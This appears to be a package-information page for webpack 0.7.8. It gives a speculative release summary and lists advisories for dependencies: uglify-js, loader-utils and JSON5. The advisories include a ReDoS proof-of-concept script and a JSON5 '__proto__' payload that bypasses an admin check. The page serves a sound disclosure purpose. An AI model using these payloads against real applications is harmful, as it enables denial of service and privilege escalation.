Webpack version 0.7.8 arrived on October 26, 2012, a mere day after 0.7.7, marking a rapid iteration in the early days of this module bundler. While both versions share identical descriptions, outlining Webpack's core purpose of packing CommonJs/AMD modules for browsers and supporting code splitting with on-demand loading capabilities, the key difference lies in the nuances that aren't explicitly stated. They both support various loaders for different file types such as JavaScript, JSON, Jade, CoffeeScript, and CSS, alongside custom loader extensions, enabling a flexible and extensible build process.
The dependency and devDependency lists are identical, with crucial packages like esprima for JavaScript parsing, uglify-js for minification, and various loaders for CSS, LESS, Jade, and CoffeeScript. enhanced-require and enhanced-resolve help manage module dependencies. Development tools like mocha, should, express, vm-browserify, worker-loader, and webpack-dev-middleware facilitated testing and development workflows.
The quick release cycle suggests that version 0.7.8 likely addresses bugs, minor improvements, or security considerations found in version 0.7.7. For developers, especially those using older Webpack versions, understanding these potential fixes in 0.7.8 is crucial. While these two releases happened early in Webpack's history, it's worth noting that features like hot module replacement (HMR) and significantly improved configuration were later introduced, revolutionizing the development and build experience. Examining commit logs (if accessible) for specific changes will provide comprehensive details, leading to developers making a reliable, stable choice between these two versions.
All the vulnerabilities related to the version 0.7.8 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Prototype pollution in webpack loader-utils
Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.
Prototype Pollution in JSON5 via Parse Method
The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.
This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
If the user attempts to set the isAdmin key, their request will be rejected:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}